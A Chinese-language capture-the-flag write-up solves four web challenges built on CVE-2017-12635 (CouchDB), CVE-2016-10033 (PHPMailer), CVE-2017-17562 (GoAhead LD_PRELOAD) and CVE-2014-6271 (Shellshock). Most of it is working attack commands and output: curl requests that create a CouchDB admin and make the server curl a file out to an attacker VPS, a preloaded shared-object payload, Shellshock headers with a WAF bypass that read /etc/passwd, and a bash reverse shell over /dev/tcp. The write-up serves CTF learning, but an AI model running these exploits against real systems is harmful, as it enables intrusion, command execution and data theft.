4道與CVE結合web題目
走過路過,不要錯過這個公眾號哦!
GIF
0x00 前言
最近做題遇到了一些CVE的復現,其中不乏一些好題,今天介紹的是如下4個與CVE結合的題目:
CVE-2017-12635(CouchDB)
CVE-2016-10033(PHPMailer)
CVE-2017-17562(GoAhead)
CVE-2014-6271(shellshock)
註:按照題目由簡到難的順序排列
0x01 CVE-2017-12635(CouchDB)
拿到題目後發現80埠無法訪問,於是掃了一波埠
發現5984開放
搜了一下,發現是CouchDB漏洞
然後發現2017的CVE:CVE-2017-12635
即由於CouchDB基於Erlang的JSON解析器和基於JavaScript的JSON解析器的不同,可以在資料庫中提交帶有用於訪問控制的角色的重複鍵的_users文檔,包括表示管理用戶的特殊情況_admin角色。 與CVE-2017-12636(遠程執行代碼)結合使用,可以使非管理員用戶能夠以資料庫系統用戶的身份訪問伺服器上的任意shell命令。
JSON解析器的差異會導致行為:如果JSON中有兩個角色密鑰可用,則第二個將用於授權文檔寫入,但第一個角色密鑰用於新創建的用戶的後續授權。 按照設計,用戶不能分配自己的角色。 該漏洞允許非管理員用戶給自己的管理員許可權。
詳細漏洞參照:
https://cert.360.cn/warning/detail?id=0bc3f86b333bf27fe26fe6fdc8bda5f8
於是我們可以創建一個管理員用戶
curl -X PUT "http://192.168.5.39:5984/_users/org.couchdb.user:sky" --data-binary "{"type": "user","name": "sky","roles": ["_admin"],"roles": [],"password": "sky"}"
然後我們就可以用管理員用戶登錄了,後面就是未授權漏洞的打法了:
curl -X PUT "http://sky:sky@192.168.5.39:5984/_config/query_servers/cmd" -d ""/usr/bin/curl http://你的vps/cat /home/flag.txt""
curl -X PUT "http://sky:sky@192.168.5.39:5984/skytest
curl -X PUT "http://sky:sky@192.168.5.39:5984/skytest/vul" -d "{"_id":"770895a97726d5ca6d70a22173005c7b"}
curl -X POST "http://sky:sky@192.168.5.39:5984/skytest/_temp_view?limit=11" -d "{"language":"cmd","map":""}" -H "Content-Type: application/json"
過一會兒,flag就打到了vps上:
flag
0x02CVE-2016-10033(PHPMailer)
拿到題目:http://192.168.5.69/
是一個留言板界面
本以為是XSS,嘗試許久無果,又試了試文件泄露
拿到源碼,給出關鍵漏洞點:
if (isset($_POST["submit"])) {
$email = isset($_POST["email"]) ? trim($_POST["email"]) : "";
$title = isset($_POST["title"]) ? trim($_POST["title"]) : "";
$content = isset($_POST["content"]) ? trim($_POST["content"]) : "";
if (chkEmail($email) && chkTitle($title) && chkContent($content)) {
$to = "ambulong@vulnspy.com";
$subject = "收到來自 {$email} 的留言";
$msg = "{$title}
{$content}
From: {$email}";
$headers = "From: " . $email . "
" . "Reply-To: " . $email . "
" . "X-Mailer: PHP/" . phpversion();
$options = sprintf("-f%s", $email);
if (mail($to, $subject, $msg, $headers, $options)) {
echo "留言成功";
} else {
echo "留言失敗";
}
}
exit;
}
其中
mail($to, $subject, $msg, $headers, $options)
正是經典的
CVE-2016-10033
PHPMailer 命令執行漏洞
給出一篇分析鏈接:
簡述這個漏洞點,就是對傳給mail函數的第五個參數沒有正確過濾:
由於$options是通過$email拼接而來,我們可以使得$email中存在惡意代碼,即可獲取shell
嘗試:
訪問
http://192.168.5.69/skyskysky.php
發現文件寫入成功
00040
00040
00040
00040
00040
00040
00040
00040
00040
00040
00040 >>> collect: Cannot write ./dfw0S539g0000040 (bfcommit, uid=48, gid=48): Permission denied
00040 >>> queueup: cannot create queue file ./qfw0S539g0000040, euid=48, fd=-1, fp=0x0: Permission denied
嘗試一下命令執行
view-source:http://192.168.5.69/skyskysky.php?sky=system(%22ls%22);
發現成功執行
讀取flag
view-source:http://192.168.5.69/skyskysky.php?sky=system(%22cat%20flag.php%22);
00040
//flag
?>
0x03 CVE-2017-17562(GoAhead)
這題拿到題目發現無法訪問,掃了下埠,發現是8080埠開放
進去後可以看見Hello gogogo
感覺沒什麼用,抓了個包看看,發現是goahead
於是搜了一波,發現有CVE:
GoAhead伺服器 遠程命令執行漏洞(CVE-2017-17562)
該漏洞源於在初始化CGI腳本環境時使用了不受信的HTTP請求參數,會對所有啟用了動態鏈接可執行文件(CGI腳本)的用戶造成影響。在此過程中,當CGI腳本調用glibc動態鏈接器時,特殊變數LD_PRELOAD可被注入濫用,從而導致遠程代碼執行。該漏洞是個典型的環境變數案例,能推廣應用到其它不安全的軟體架構漏洞發現中。
而更詳細的漏洞介紹,參照Freebuf的一篇文章
http://www.freebuf.com/vuls/158089.html
漏洞利用也非常簡單
payload.c
c
# PoC/payload.c
#include
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!
", 14);
}
然後gcc成so文件:gcc -shared -fPIC ./payload.c -o payload.so
然後攻擊
curl -X POST --data-binary @payload.so //ip/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i
可以得到回顯
類似於如下:(當時沒截圖= =隨便找了個差不多的)
HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
Content-type: text/html
只要出現hello: World!就說明攻擊成功了
那麼下面構造我們的攻擊payload
首先是找文件的絕對路徑
c語言實現執行命令的腳本網上一搜一大堆,我的沒保存,這裡就不贅述了
最後發現是www目錄下的goahead文件夾
然後讀文件
c
#include "stdio.h"
#include
#include
#include
#include
static void before_main(void) __attribute__((constructor));
static void before_main(void){
char filename[] = "/var/www/goahead/cgi-bin/hello.cgi";
FILE *fp;
char StrLine[1024];
if((fp = fopen(filename,"r")) == NULL)
{
printf("error!");
return -1;
}
while (!feof(fp))
{
fgets(StrLine,1024,fp);
printf("%s
", StrLine);
}
fclose(fp);
}
即可拿到flag
curl -X POST --data-binary @payload.so http://192.168.5.42:8080/cgi-bin/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i
HTTP/1.1 200 OK
Server: GoAhead-http
Date: Sun Jan 21 04:31:28 2018
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Hello GOGOGO#!/usr/bin/perl
print "Content-Type: text/html
";
print "Hello GOGOGO";
#flag
0x04CVE-2014-6271(shellshock)
給出題目鏈接:
https://command-executor.hackme.inndy.tw/
個人認為這是一道非常好的題目,首先說一下考察點
1.文件包含讀源碼
2.代碼分析結合CVE
3.CVE導致的命令執行
4.寫入文件/反彈shell
5.思考c文件的解法
6.重定向獲取flag
拿到題目後隨便點一點:
https://command-executor.hackme.inndy.tw/index.php?func=ls
https://command-executor.hackme.inndy.tw/index.php?func=cmd
https://command-executor.hackme.inndy.tw/index.php?func=untar
然後在
發現可以遍歷目錄,但限制的很死,只能執行ls和env,但是此時發現了有趣的一點
-rw-r--r-- 1 root root 1163 Jan 9 11:05 cmd.php
-rw-r--r-- 1 root root 2201 Jan 9 11:32 index.php
-rw-r--r-- 1 root root 515 Jan 9 11:05 ls.php
-rw-r--r-- 1 root root 658 Jan 19 08:25 man.php
-rw-r--r-- 1 root root 588 Jan 9 11:05 untar.php
這裡的ls,untar,cmd很可能是前面func參數包含進來的
隨即想到試一試文件包含,看看可否讀文件
https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource=index
果不其然,可以拿到文件源碼,這裡給出最關鍵的index.php,其餘的幫助並不大
index.php
$pages = [
["man", "Man"],
["untar", "Tar Tester"],
["cmd", "Cmd Exec"],
["ls", "List files"],
];
function fuck($msg) {
header("Content-Type: text/plain");
echo $msg;
exit;
}
$black_list = [
"/flag", "()s*{s*:;s*};"
];
function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
waf($_SERVER);
waf($_GET);
waf($_POST);
function execute($cmd, $shell="bash") {
system(sprintf("%s -c %s", $shell, escapeshellarg($cmd)));
}
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === "HTTP_") {
putenv("$key=$val");
}
}
$page = "";
if(isset($_GET["func"])) {
$page = $_GET["func"];
if(strstr($page, "..") !== false) {
$page = "";
}
}
if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}
注意到一個很可疑的函數putenv()
結合env可以很快聯想到2014年的一個重大漏洞:
CVE-2014-6271
破殼(ShellShock)漏洞
給出Freebuf的分析鏈接
http://www.freebuf.com/articles/system/45390.html
確定了漏洞,就是嘗試可用exp的時候了,這時候可以容易google到
這樣一篇文章:
https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php
其中重點的一段如下:
可以清楚看到這樣一個payload:
wget --header="X-Exploit: () { :; }; echo Hacked" -q -O - http://127.0.0.1/shock.php
並且和這個測試樣本和我們題目中給出的代碼十分相似:
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === "HTTP_") {
putenv("$key=$val");
}
}
於是我們先去嘗試一下適用性:
可以發現我們被waf攔截了:
()s*{s*:;s*}; detected! exit now.
回去分析index.php的waf過濾點
$black_list = [
"/flag", "()s*{s*:;s*};"
];
function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
可以看到如上一個黑名單,
我們的
X-Exploit: () { :; };
正是被這個黑名單禁止了,但是這樣的waf存在極大隱患,我們只要加個空格就可以輕鬆繞過:
X-Exploit: () { : ; };
我們再次攻擊一次試試:
wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
可以看到Hacked成功回顯
於是我們開始執行命令,需要注意的是,shellshock執行命令,需要加上/bin/
比如cat命令要寫成/bin/cat
直接cat是不能成功的
於是我們嘗試讀/etc/passwd
wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
可以發現命令成功執行,所以下面我們的思路很清晰,找到flag並讀取就行了
而之前提到,這個題目本身自帶ls,所以可以輕鬆查目錄,容易發現flag在根目錄
https://command-executor.hackme.inndy.tw/index.php?func=ls&file=../../../../../../
-r-------- 1 flag root 37 Jan 9 11:05 flag
-rwsr-xr-x 1 flag root 9080 Jan 19 08:27 flag-reader
-rw-r--r-- 1 root root 653 Jan 9 11:05 flag-reader.c
我們嘗試cat一下flag文件
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../flag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
此時又觸發了waf
回顯打出
/flag detected! exit now.
我們依舊被上面那個黑名單給禁止了!
那麼有沒有辦法繞過/flag呢?
這裡給出2個思考路線:
1.shell拼接,比如a=/fl;b=ag;c=a+b這樣(此處寫的不嚴謹,有興趣可以自己去研究一下)
2.通配符繞過
這裡我選擇第二點:
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
但這次並沒有回顯打出,回去查看文件許可權
-r-------- 1 flag root 37 Jan 9 11:05 flag
發現只有root才能讀
這時就鬱悶了,但是下面還有一個c寫的flag-reader引起了我的關注,我們讀一下他
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
打出回顯:
#include
#include
#include
#include
int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random
", 18);
}
setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));
if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file
", 18);
}
} else {
write(1, "Wrong response
", 16);
}
}
審計這個c,大致原理就是:1秒之內把他輸出的再輸入回去,就可以打出文件內容
此時我們的思路很簡單,運行這個c,再把這個c輸出在1s內再輸回去,但是純靠這樣的交互,速度極慢,所以容易想到,要不要拿個shell?
這裡給出2種拿shell的思路
1.反彈shell
2.找到可寫目錄,並寫入文件,利用文件包含即可
這裡我選擇反彈shell(因為後面還會寫文件,所以這裡選擇反彈,就不寫了)
wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
然後一會兒就能收到shell
而下面就只要解決如何在1s內輸入c文件輸出的結果這個問題了
這裡我選擇了linux下的重定向,我們將輸出寫到某個文件中,再自動輸入即可,這樣即可達到目的
我們先去探索可寫目錄,容易發現/var/tmp具有寫許可權
我們測試一下
wget --header="X-Exploit: () { : ; }; echo "sky" > /var/tmp/sky" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
即可發現該目錄可寫
我的做法:
flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag
即可在skyflag中讀到flag
FLAG
(完)
看不過癮?合天2017年度乾貨精華請點擊《【精華】2017年度合天網安乾貨集錦》
別忘了投稿喲!!!


TAG:合天智匯 |